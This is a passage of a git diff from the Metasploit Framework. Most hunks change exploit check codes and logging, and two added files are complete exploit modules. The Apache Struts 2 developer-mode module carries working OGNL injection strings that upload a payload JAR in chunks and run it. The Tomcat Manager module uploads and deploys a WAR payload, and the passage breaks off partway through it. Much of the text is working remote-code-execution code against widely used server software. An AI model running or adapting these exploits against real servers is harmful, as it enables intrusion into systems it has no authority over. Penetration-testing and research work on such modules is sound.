         when '4.0.0-alpha1', '4.0.0-alpha2', '4.0.0-beta1', '4.0.0-beta2', '4.0.0-beta3', '4.0.0-rc1', '4.0.0-rc2'
-          return CheckCode::Vulnerable
+          return CheckCode::Appears
         else
           if $1.starts_with? '3.5.'
-            return CheckCode::Vulnerable
+            return CheckCode::Appears
           end
 
-          return CheckCode::Unknown
+          return CheckCode::Detected
       end
     end
+
+    CheckCode::Safe
   end
 
   def exploit
diff --git a/modules/exploits/multi/http/phpscheduleit_start_date.rb b/modules/exploits/multi/http/phpscheduleit_start_date.rb
index 8735bf0c23..651e5e8977 100644
--- a/modules/exploits/multi/http/phpscheduleit_start_date.rb
+++ b/modules/exploits/multi/http/phpscheduleit_start_date.rb
@@ -62,7 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote
     uri = normalize_uri(datastore['URI'])
     uri << '/' if uri[-1,1] != '/'
 
-    print_status("Checking uri #{uri}")
+    vprint_status("Checking uri #{uri}")
 
     response = send_request_cgi({
       'method' => "POST",
diff --git a/modules/exploits/multi/http/phptax_exec.rb b/modules/exploits/multi/http/phptax_exec.rb
index 18c96f5a25..57220832a0 100644
--- a/modules/exploits/multi/http/phptax_exec.rb
+++ b/modules/exploits/multi/http/phptax_exec.rb
@@ -65,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote
     if res and res.body =~ /PHPTAX by William L\. Berggren/
       return Exploit::CheckCode::Detected
     else
-      return Exploit::CheckCode::Unknown
+      return Exploit::CheckCode::Safe
     end
   end
 
diff --git a/modules/exploits/multi/http/plone_popen2.rb b/modules/exploits/multi/http/plone_popen2.rb
index de5cec0c88..ac5fb0e31e 100644
--- a/modules/exploits/multi/http/plone_popen2.rb
+++ b/modules/exploits/multi/http/plone_popen2.rb
@@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote
         'uri'       => uri
       }, 25)
     if (res.headers['Bobo-Exception-Type'].to_s =~ /zExceptions.BadRequest/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
     # patched == zExceptions.NotFound
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/multi/http/pmwiki_pagelist.rb b/modules/exploits/multi/http/pmwiki_pagelist.rb
index d2fdfdfb94..71f21db8f2 100644
--- a/modules/exploits/multi/http/pmwiki_pagelist.rb
+++ b/modules/exploits/multi/http/pmwiki_pagelist.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info={})
     super(update_info(info,
-      'Name'           => 'PmWiki <= 2.2.34 pagelist.php Remote PHP Code Injection Exploit',
+      'Name'           => 'PmWiki pagelist.php Remote PHP Code Injection Exploit',
       'Description'    => %q{
         This module exploits an arbitrary command execution vulnerability
         in PmWiki from 2.0.0 to 2.2.34. The vulnerable function is
@@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote
       }, 25)
 
     if (res and res.body =~ /pmwiki-2.[0.00-2.34]/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/multi/http/polarcms_upload_exec.rb b/modules/exploits/multi/http/polarcms_upload_exec.rb
index 3f133d1344..cc85fcb16b 100644
--- a/modules/exploits/multi/http/polarcms_upload_exec.rb
+++ b/modules/exploits/multi/http/polarcms_upload_exec.rb
@@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote
     })
 
     if not res or res.code != 200
-      return Exploit::CheckCode::Unknown
+      return Exploit::CheckCode::Safe
     end
 
     return Exploit::CheckCode::Appears
@@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
     data = Rex::MIME::Message.new
     data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
     data.add_part(normalize_uri(uri, 'includes', 'jquery.uploadify/', nil, nil, "form-data; name=\"folder\""))
-    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
+    post_data = data.to_s
     print_status("#{peer} - Uploading payload #{@payload_name}")
     res = send_request_cgi({
       'method' => 'POST',
diff --git a/modules/exploits/multi/http/processmaker_exec.rb b/modules/exploits/multi/http/processmaker_exec.rb
index 2e47e916bc..a1d175ce92 100644
--- a/modules/exploits/multi/http/processmaker_exec.rb
+++ b/modules/exploits/multi/http/processmaker_exec.rb
@@ -25,9 +25,9 @@ class Metasploit3 < Msf::Exploit::Remote
       'Author'         => 'Brendan Coles <bcoles[at]gmail.com>',
       'References'     =>
         [
-          ['OSVDB'     => '99199'],
-          ['BID'       => '63411'],
-          ['URL'       => 'http://bugs.processmaker.com/view.php?id=13436']
+          ['OSVDB',     '99199'],
+          ['BID',       '63411'],
+          ['URL',       'http://bugs.processmaker.com/view.php?id=13436']
         ],
       'Payload'        =>
         {
@@ -127,7 +127,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
     # send check
     fingerprint = Rex::Text.rand_text_alphanumeric(rand(10)+10)
-    print_status("#{peer} - Sending check")
+    vprint_status("#{peer} - Sending check")
     begin
       res = execute_command("echo #{fingerprint}")
       if res and res.body =~ /#{fingerprint}/
@@ -136,9 +136,10 @@ class Metasploit3 < Msf::Exploit::Remote
         return Exploit::CheckCode::Safe
       end
     rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
-      print_error("#{peer} - Connection failed")
+      vprint_error("#{peer} - Connection failed")
+      return Exploit::CheckCode::Unknown
     end
-    return Exploit::CheckCode::Unknown
+    Exploit::CheckCode::Safe
   end
 
   #
diff --git a/modules/exploits/multi/http/qdpm_upload_exec.rb b/modules/exploits/multi/http/qdpm_upload_exec.rb
index 27b4c3b6da..0478b23dd5 100644
--- a/modules/exploits/multi/http/qdpm_upload_exec.rb
+++ b/modules/exploits/multi/http/qdpm_upload_exec.rb
@@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote
     res = send_request_raw({'uri'=>normalize_uri(base, "/index.php")})
     if res and res.body =~ /<div id\=\"footer\"\>.+qdPM ([\d])\.([\d]).+\<\/div\>/m
       major, minor = $1, $2
-      return Exploit::CheckCode::Vulnerable if (major+minor).to_i <= 70
+      return Exploit::CheckCode::Appears if (major+minor).to_i <= 70
     end
 
     return Exploit::CheckCode::Safe
@@ -181,7 +181,7 @@ class Metasploit3 < Msf::Exploit::Remote
     data.add_part('en_US', nil, nil, 'form-data; name="users[culture]"')
     data.add_part('', nil, nil, 'form-data; name="new_password"')
 
-    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
+    post_data = data.to_s
 
     res = send_request_cgi({
       'method'  => 'POST',
diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb
index 5fa74b9488..46751d2f1f 100644
--- a/modules/exploits/multi/http/rails_secret_deserialization.rb
+++ b/modules/exploits/multi/http/rails_secret_deserialization.rb
@@ -170,7 +170,7 @@ class Metasploit3 < Msf::Exploit::Remote
       keygen = KeyGenerator.new(datastore['SECRET'],{:iterations => 1000})
       sigkey = keygen.generate_key(datastore['SALTSIG'])
     end
-    digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new(datastore['DIGEST_NAME']), sigkey, data)
+    digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new(datastore['DIGEST_NAME']), sigkey, data)
   end
 
   def rails_4
@@ -184,7 +184,7 @@ class Metasploit3 < Msf::Exploit::Remote
   def rails_3
     # Sign it with the secret_token
     data = build_cookie
-    digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new("SHA1"), datastore['SECRET'], data)
+    digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new("SHA1"), datastore['SECRET'], data)
     marshal_payload = Rex::Text.uri_encode(data)
     "#{marshal_payload}--#{digest}"
   end
diff --git a/modules/exploits/multi/http/sflog_upload_exec.rb b/modules/exploits/multi/http/sflog_upload_exec.rb
index 47acbdae69..1e2cd51567 100644
--- a/modules/exploits/multi/http/sflog_upload_exec.rb
+++ b/modules/exploits/multi/http/sflog_upload_exec.rb
@@ -104,9 +104,7 @@ class Metasploit3 < Msf::Exploit::Remote
     data.add_part('3000', nil, nil, "form-data; name=\"MAX_FILE_SIZE\"")
     data.add_part(p, 'text/plain', nil, "form-data; name=\"fileID\"; filename=\"#{php_fname}\"")
 
-    # The app doesn't really like the extra "\r\n", so we need to remove the newline.
     post_data = data.to_s
-    post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
 
     print_status("#{peer} - Uploading payload (#{p.length.to_s} bytes)...")
     res = send_request_cgi({
diff --git a/modules/exploits/multi/http/sit_file_upload.rb b/modules/exploits/multi/http/sit_file_upload.rb
index 1b0d70e7d0..d85302620b 100644
--- a/modules/exploits/multi/http/sit_file_upload.rb
+++ b/modules/exploits/multi/http/sit_file_upload.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Support Incident Tracker <= 3.65 Remote Command Execution',
+      'Name'           => 'Support Incident Tracker Remote Command Execution',
       'Description'    => %q{
           This module combines two separate issues within Support Incident Tracker (<= 3.65)
         application to upload arbitrary data and thus execute a shell. The two issues exist
@@ -70,10 +70,10 @@ class Metasploit3 < Msf::Exploit::Remote
 
     if (res and res.body =~ /SiT! Support Incident Tracker v(\d)\.(\d\d)/)
       ver = [ $1.to_i, $2.to_i ]
-      print_status("SiT! #{ver[0]}.#{ver[1]}")
+      vprint_status("SiT! #{ver[0]}.#{ver[1]}")
 
       if (ver[0] == 3 and ver[1] == 65)
-        return Exploit::CheckCode::Vulnerable
+        return Exploit::CheckCode::Appears
       elsif (ver[0] == 3 and ver[1] < 65)
         return Exploit::CheckCode::Appears
       end
diff --git a/modules/exploits/multi/http/sonicwall_gms_upload.rb b/modules/exploits/multi/http/sonicwall_gms_upload.rb
index 5a04dceeaf..0be872543b 100644
--- a/modules/exploits/multi/http/sonicwall_gms_upload.rb
+++ b/modules/exploits/multi/http/sonicwall_gms_upload.rb
@@ -111,9 +111,7 @@ class Metasploit3 < Msf::Exploit::Remote
     post_data.add_part(location, nil, nil, "form-data; name=\"searchFolder\"")
     post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadFilename\"; filename=\"#{filename}\"")
 
-    # Work around an incompatible MIME implementation
     data = post_data.to_s
-    data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
 
     res = send_request_cgi(
       {
@@ -151,9 +149,9 @@ class Metasploit3 < Msf::Exploit::Remote
     end
 
     if install_path.include?("\\")
-      print_status("Target looks like Windows")
+      vprint_status("Target looks like Windows")
     else
-      print_status("Target looks like Linux")
+      vprint_status("Target looks like Linux")
     end
     return Exploit::CheckCode::Vulnerable
   end
diff --git a/modules/exploits/multi/http/splunk_upload_app_exec.rb b/modules/exploits/multi/http/splunk_upload_app_exec.rb
index 980a62bcdd..0c710b83ac 100644
--- a/modules/exploits/multi/http/splunk_upload_app_exec.rb
+++ b/modules/exploits/multi/http/splunk_upload_app_exec.rb
@@ -182,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Remote
     }, 25)
 
     if res and res.body =~ /Splunk Inc\. Splunk/
-      return Exploit::CheckCode::Appears
+      return Exploit::CheckCode::Detected
     else
       return Exploit::CheckCode::Safe
     end
diff --git a/modules/exploits/multi/http/spree_searchlogic_exec.rb b/modules/exploits/multi/http/spree_searchlogic_exec.rb
index 203577614c..1e172296cc 100644
--- a/modules/exploits/multi/http/spree_searchlogic_exec.rb
+++ b/modules/exploits/multi/http/spree_searchlogic_exec.rb
@@ -14,11 +14,12 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Spreecommerce < 0.50.0 Arbitrary Command Execution',
+      'Name'           => 'Spreecommerce Arbitrary Command Execution',
       'Description'    => %q{
-          This module exploits an arbitrary command execution vulnerability in the
-          Spreecommerce API searchlogic. Unvalidated input is called via the
-          Ruby send method allowing command execution.
+          This module exploits an arbitrary command execution vulnerability in
+          the Spreecommerce API searchlogic for versions 0.50.0 and earlier.
+          Unvalidated input is called via the Ruby send method allowing command
+          execution.
       },
       'Author'         => [ 'joernchen <joernchen[at]phenoelit.de>' ], #Phenoelit
       'License'        => MSF_LICENSE,
diff --git a/modules/exploits/multi/http/struts_code_exec.rb b/modules/exploits/multi/http/struts_code_exec.rb
index fd7588875a..397b996b79 100644
--- a/modules/exploits/multi/http/struts_code_exec.rb
+++ b/modules/exploits/multi/http/struts_code_exec.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Apache Struts < 2.2.0 Remote Command Execution',
+      'Name'           => 'Apache Struts Remote Command Execution',
       'Description'    => %q{
           This module exploits a remote command execution vulnerability in
         Apache Struts versions < 2.2.0. This issue is caused by a failure to properly
diff --git a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb
index 335df12cfa..220700c01f 100644
--- a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb
+++ b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Apache Struts <= 2.2.1.1 Remote Command Execution',
+      'Name'           => 'Apache Struts Remote Command Execution',
       'Description'    => %q{
           This module exploits a remote command execution vulnerability in
         Apache Struts versions < 2.2.1.1. This issue is caused because the
diff --git a/modules/exploits/multi/http/struts_code_exec_parameters.rb b/modules/exploits/multi/http/struts_code_exec_parameters.rb
index 61124efda2..1db90c817f 100644
--- a/modules/exploits/multi/http/struts_code_exec_parameters.rb
+++ b/modules/exploits/multi/http/struts_code_exec_parameters.rb
@@ -146,7 +146,7 @@ class Metasploit3 < Msf::Exploit::Remote
     sleep_time = datastore['CHECK_SLEEPTIME']
     check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
     t1 = Time.now
-    print_status("Asking remote server to sleep for #{sleep_time} seconds")
+    vprint_status("Asking remote server to sleep for #{sleep_time} seconds")
     response = execute_command(check_cmd)
     t2 = Time.now
     delta = t2 - t1
diff --git a/modules/exploits/multi/http/struts_default_action_mapper.rb b/modules/exploits/multi/http/struts_default_action_mapper.rb
index d2f2e17421..c10c682eb4 100644
--- a/modules/exploits/multi/http/struts_default_action_mapper.rb
+++ b/modules/exploits/multi/http/struts_default_action_mapper.rb
@@ -89,7 +89,7 @@ class Metasploit3 < Msf::Exploit::Remote
       win_file = file.gsub("/", "\\\\")
       if session.type == "meterpreter"
         begin
-          wintemp = session.fs.file.expand_path("%TEMP%")
+          wintemp = session.sys.config.getenv('TEMP')
           win_file = "#{wintemp}\\#{win_file}"
           session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
           session.fs.file.rm(win_file)
@@ -149,7 +149,7 @@ class Metasploit3 < Msf::Exploit::Remote
     })
 
     if res.nil? or res.code != 200
-      print_error("#{rhost}:#{rport} - Check needs a valid action, returning 200, as TARGETURI")
+      vprint_error("#{rhost}:#{rport} - Check needs a valid action, returning 200, as TARGETURI")
       return Exploit::CheckCode::Unknown
     end
 
@@ -164,7 +164,7 @@ class Metasploit3 < Msf::Exploit::Remote
       return Exploit::CheckCode::Vulnerable
     end
 
-    return Exploit::CheckCode::Unknown
+    return Exploit::CheckCode::Safe
   end
 
   def auto_target
diff --git a/modules/exploits/multi/http/struts_dev_mode.rb b/modules/exploits/multi/http/struts_dev_mode.rb
new file mode 100644
index 0000000000..cab5218aa2
--- /dev/null
+++ b/modules/exploits/multi/http/struts_dev_mode.rb
@@ -0,0 +1,142 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::FileDropper
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Apache Struts 2 Developer Mode OGNL Execution',
+      'Description'    => %q{
+        This module exploits a remote command execution vulnerability in Apache
+        Struts 2. The problem exists on applications running in developer mode,
+        where the DebuggingInterceptor allows evaluation and execution of OGNL
+        expressions, which allows remote attackers to execute arbitrary Java
+        code. This module has been tested successfully on Struts 2.3.16, Tomcat
+        7 and Ubuntu 10.04.
+      },
+      'Author'         =>
+        [
+          'Johannes Dahse', # Vulnerability discovery and PoC
+          'Andreas Nusser', # Vulnerability discovery and PoC
+          'Alvaro',         # @pwntester, 2014's PoC, avoided surname because of the spanish char, sorry about that :\
+          'juan vazquez'    # Metasploit module
+        ],
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          [ 'CVE', '2012-0394'],
+          [ 'OSVDB', '78276'],
+          [ 'EDB', '18329'],
+          [ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt' ],
+          [ 'URL', 'http://www.pwntester.com/blog/2014/01/21/struts-2-devmode/' ]
+        ],
+      'Platform'       => 'java',
+      'Arch'           => ARCH_JAVA,
+      'Targets'        =>
+        [
+          [ 'Struts 2', { } ]
+        ],
+      'DisclosureDate' => 'Jan 06 2012',
+      'DefaultTarget' => 0))
+
+      register_options(
+        [
+          Opt::RPORT(8080),
+          OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"])
+        ], self.class)
+  end
+
+  def check
+    vprint_status("Testing to see if the target can evaluate our Java code...")
+    addend_one = rand_text_numeric(rand(3) + 1).to_i
+    addend_two = rand_text_numeric(rand(3) + 1).to_i
+    sum = addend_one + addend_two
+
+    res = execute_command("new java.lang.Integer(#{addend_one}+#{addend_two})")
+
+    if res and res.code == 200 and res.body.to_i == sum
+      return Exploit::CheckCode::Vulnerable
+    end
+
+    if res and res.code == 200 and res.body.to_s =~ /#{sum}/
+      vprint_status("Code got evaluated. Target seems vulnerable, but the response contains something else:")
+      vprint_line(res.body.to_s)
+      return Exploit::CheckCode::Appears
+    end
+
+    return CheckCode::Safe
+  end
+
+  def exploit
+    @payload_jar = rand_text_alphanumeric(4+rand(4)) + ".jar"
+
+    upload_jar
+    execute_jar
+  end
+
+  def upload_jar
+    append = 'false'
+    jar = payload.encoded_jar.pack
+    chunk_length = 384 # 512 bytes when base64 encoded
+
+    while(jar.length > chunk_length)
+      java_upload_part(jar[0, chunk_length], @payload_jar, append)
+      jar = jar[chunk_length, jar.length - chunk_length]
+      append='true'
+    end
+    java_upload_part(jar, @payload_jar, append)
+  end
+
+  def java_upload_part(part, filename, append = 'false')
+    cmd = "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
+    cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
+    cmd << "#f.close()"
+    execute_command(cmd)
+  end
+
+  def execute_jar
+    cmd = ""
+    # disable Vararg handling (since it is buggy in OGNL used by Struts 2.1
+    cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
+    cmd << "#q.setAccessible(true),#q.set(null,true),"
+    cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
+    cmd << "#q.setAccessible(true),#q.set(null,false),"
+    # create classloader
+    cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_jar}').toURI().toURL()}),"
+    # load class
+    cmd << "#c=#cl.loadClass('metasploit.Payload'),"
+    # invoke main method
+    cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
+    cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
+    execute_command(cmd)
+  end
+
+  def execute_command(cmd)
+    injection = "#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),CMD"
+    injection.gsub!(/CMD/, cmd)
+
+    vprint_status("Attempting to execute: #{cmd}")
+
+    res = send_request_cgi({
+      'uri'      => normalize_uri(target_uri.path.to_s),
+      'method'   => 'GET',
+      'vars_get' =>
+        {
+          'debug' => 'command',
+          'expression' => injection
+        }
+    })
+
+    return res
+  end
+
+
+end
diff --git a/modules/exploits/multi/http/struts_include_params.rb b/modules/exploits/multi/http/struts_include_params.rb
index 7333dd15c3..a2999d8026 100644
--- a/modules/exploits/multi/http/struts_include_params.rb
+++ b/modules/exploits/multi/http/struts_include_params.rb
@@ -176,11 +176,11 @@ class Metasploit3 < Msf::Exploit::Remote
   def check
     #initialise some base vars
     @inject = "${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}"
-    print_status("Performing Check...")
+    vprint_status("Performing Check...")
     sleep_time = datastore['CHECK_SLEEPTIME']
     check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
     t1 = Time.now
-    print_status("Asking remote server to sleep for #{sleep_time} seconds")
+    vprint_status("Asking remote server to sleep for #{sleep_time} seconds")
     response = execute_command(check_cmd)
     t2 = Time.now
     delta = t2 - t1
@@ -191,7 +191,7 @@ class Metasploit3 < Msf::Exploit::Remote
     elsif delta < sleep_time
       return Exploit::CheckCode::Safe
     else
-      return Exploit::CheckCode::Appears
+      return Exploit::CheckCode::Vulnerable
     end
   end
 
diff --git a/modules/exploits/multi/http/testlink_upload_exec.rb b/modules/exploits/multi/http/testlink_upload_exec.rb
index 4a0d8c89b6..d9ad21808f 100644
--- a/modules/exploits/multi/http/testlink_upload_exec.rb
+++ b/modules/exploits/multi/http/testlink_upload_exec.rb
@@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote
       if res
         if res.code == 200
           if res.body =~ /<p><img alt="Company logo" title="logo" style="width: 115px; height: 53px;"\s+src="[^"]+" \/>\s+<br \/>TestLink 1\.9\.3/
-            return Exploit::CheckCode::Vulnerable
+            return Exploit::CheckCode::Appears
           end
         end
       end
@@ -81,9 +81,10 @@ class Metasploit3 < Msf::Exploit::Remote
       return Exploit::CheckCode::Detected if res and res.body =~ /TestLink project <a href="http:\/\/testlink\.sourceforge\.net\/docs\/testLink\.php">Home<\/a><br \/>/
       return Exploit::CheckCode::Safe
     rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
-      print_error("#{peer} - Connection failed")
+      vprint_error("#{peer} - Connection failed")
+      return Exploit::CheckCode::Unknown
     end
-    return Exploit::CheckCode::Unknown
+    return Exploit::CheckCode::Safe
 
   end
 
diff --git a/modules/exploits/multi/http/tomcat_mgr_deploy.rb b/modules/exploits/multi/http/tomcat_mgr_deploy.rb
index 1e3a9888d1..12c2423529 100644
--- a/modules/exploits/multi/http/tomcat_mgr_deploy.rb
+++ b/modules/exploits/multi/http/tomcat_mgr_deploy.rb
@@ -114,7 +114,7 @@ class Metasploit3 < Msf::Exploit::Remote
     disconnect
     return CheckCode::Unknown if res.nil?
     if (res.code.between?(400, 499))
-      print_error("Server rejected the credentials")
+      vprint_error("Server rejected the credentials")
       return CheckCode::Unknown
     end
 
@@ -128,8 +128,8 @@ class Metasploit3 < Msf::Exploit::Remote
       :active => true
     )
 
-    print_status("Target is #{detect_platform(res.body)} #{detect_arch(res.body)}")
-    return CheckCode::Vulnerable
+    vprint_status("Target is #{detect_platform(res.body)} #{detect_arch(res.body)}")
+    return CheckCode::Appears
   end
 
   def auto_target
diff --git a/modules/exploits/multi/http/tomcat_mgr_upload.rb b/modules/exploits/multi/http/tomcat_mgr_upload.rb
new file mode 100644
index 0000000000..5d24ce3b54
--- /dev/null
+++ b/modules/exploits/multi/http/tomcat_mgr_upload.rb
@@ -0,0 +1,426 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }
+
+  CSRF_VAR = 'CSRF_NONCE='
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::EXE
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'        => 'Apache Tomcat Manager Authenticated Upload Code Execution',
+      'Description' => %q{
+        This module can be used to execute a payload on Apache Tomcat servers that
+        have an exposed "manager" application. The payload is uploaded as a WAR archive
+        containing a jsp application using a POST request against the /manager/html/upload
+        component.
+
+        NOTE: The compatible payload sets vary based on the selected target. For
+        example, you must select the Windows target to use native Windows payloads.
+      },
+      'Author'      => 'rangercha',
+      'License'     => MSF_LICENSE,
+      'References'  =>
+        [
+          # This is based on jduck's tomcat_mgr_deploy.
+          # the tomcat_mgr_deploy o longer works for current versions of tomcat due to
+          # CSRF protection tokens. Also PUT requests against the /manager/html/deploy
+          # aren't allowed anymore.
+
+          # There is no single vulnerability associated with deployment functionality.
+          # Instead, the focus has been on insecure/blank/hardcoded default passwords.
+
+          #  The following references refer to HP Operations Manager
+          ['CVE', '2009-3843'],
+          ['OSVDB', '60317'],
+          ['CVE', '2009-4189'],
+          ['OSVDB', '60670'],
+
+          # HP Operations Dashboard
+          ['CVE', '2009-4188'],
+
+          # IBM Cognos Express Default user/pass
+          ['BID', '38084'],
+          ['CVE', '2010-0557'],
+          ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21419179'],
+
+          # IBM Rational Quality Manager and Test Lab Manager
+          ['CVE', '2010-4094'],
+          ['ZDI', '10-214'],
+
+          # 'admin' password is blank in default Windows installer
+          ['CVE', '2009-3548'],
+          ['OSVDB', '60176'],
+          ['BID', '36954'],
+
+          # tomcat docs
+          ['URL', 'http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html']
+        ],
+      'Platform'    => %w{ java linux win }, # others?
+      'Targets'     =>
+        [
+          [ 'Java Universal',
+            {
+              'Arch'     => ARCH_JAVA,
+              'Platform' => 'java'
+            }
+          ],
+          #
+          # Platform specific targets only
+          #
+          [ 'Windows Universal',
+            {
+              'Arch'     => ARCH_X86,
+              'Platform' => 'win'
+            }
+          ],
+          [ 'Linux x86',
+            {
+              'Arch'     => ARCH_X86,
+              'Platform' => 'linux'
+            }
+          ]
+        ],
+      'DefaultTarget'  => 0,
+      'DisclosureDate' => 'Nov 09 2009'))
+
+    register_options(
+      [
+        OptString.new('USERNAME', [false, 'The username to authenticate as']),
+        OptString.new('PASSWORD', [false, 'The password for the specified username']),
+        # /cognos_express/manager/ for Cognos Express (19300)
+        OptString.new('TARGETURI', [true, "The URI path of the manager app (/html/upload and /undeploy will be used)", '/manager'])
+      ], self.class)
+  end
+
+  def check
+    res = query_manager
+    disconnect
+
+    return CheckCode::Unknown if res.nil?
+
+    if res.code.between?(400, 499)
+      vprint_error("#{peer} - Server rejected the credentials")
+      return CheckCode::Unknown
+    end
+
+    return CheckCode::Safe unless res.code == 200
+
+    # if res.code == 200
+    #   there should be access to the Tomcat Manager and to the status page
+    res = query_status
+    return CheckCode::Unknown unless res
+
+    plat = detect_platform(res.body)
+    arch = detect_arch(res.body)
+    return CheckCode::Unknown unless plat and arch
+
+    vprint_status("#{peer} - Tomcat Manager found running on #{plat} platform and #{arch} architecture")
+
+    report_auth_info(
+      :host   => rhost,
+      :port   => rport,
+      :sname  => (ssl ? "https" : "http"),
+      :user   => datastore['USERNAME'],
+      :pass   => datastore['PASSWORD'],
+      :proof  => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}",
+      :active => true
+    )
+
+    return CheckCode::Appears
+  end
+
+  def exploit
+    @app_base = rand_text_alphanumeric(4 + rand(32 - 4))
+    @jsp_name = rand_text_alphanumeric(4 + rand(32 - 4))
+
+    #
+    # Find the session ID and the CSRF token
+    #
+    print_status("#{peer} - Retrieving session ID and CSRF token...")
+    unless access_manager?
+      fail_with(Failure::Unknown, "Unable to access the Tomcat Manager")
+    end
+
+    #
+    # Upload Payload
+    #
+    print_status("#{peer} - Uploading and deploying #{@app_base}...")
+    if upload_payload
+      report_auth_info(
+        :host   => rhost,
+        :port   => rport,
+        :sname  => (ssl ? "https" : "http"),
+        :user   => datastore['USERNAME'],
+        :pass   => datastore['PASSWORD'],
+        :proof  => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}",
+        :active => true
+      )
+    else
+      fail_with(Failure::Unknown, "Upload failed")
+    end
+
+    #
+    # Execute Payload
+    #
+    print_status("#{peer} - Executing #{@app_base}...")
+    unless execute_payload
+      fail_with(Failure::Unknown, "Failed to execute the payload")
+    end
+
+    #
+    # Get the new CSRF token & session id
+    #
+    unless access_manager?
+      fail_with(Failure::Unknown, "Unable to access the Tomcat Manager")
+    end
+
+    #
+    # Delete the deployed payload
+    #
+    print_status("#{peer} - Undeploying #{@app_base} ...")
+    unless undeploy_app
+      print_warning("#{peer} - Failed to undeploy #{@app_base}...")
+    end
+  end
+
+  def query_status
+    path = normalize_uri(target_uri.path.to_s, 'status')
+    res = send_request_raw('uri' => path)
+
+    unless res and res.code == 200
+      vprint_error("#{peer} - Failed: Error requesting #{path}")
+      return nil
+    end
+
+    return res
+  end
+
+  def query_manager
+    path = normalize_uri(target_uri.path.to_s, '/html')
+    res = send_request_raw('uri' => path)
+
+    return res
+  end
+
+  def vars_get
+    vars = {}
+    unless @csrf_token.nil?
+      vars = {
+        "path" => @app_base,
+        "org.apache.catalina.filters.CSRF_NONCE" => @csrf_token
+      }
+    end
+
+    return vars
+  end
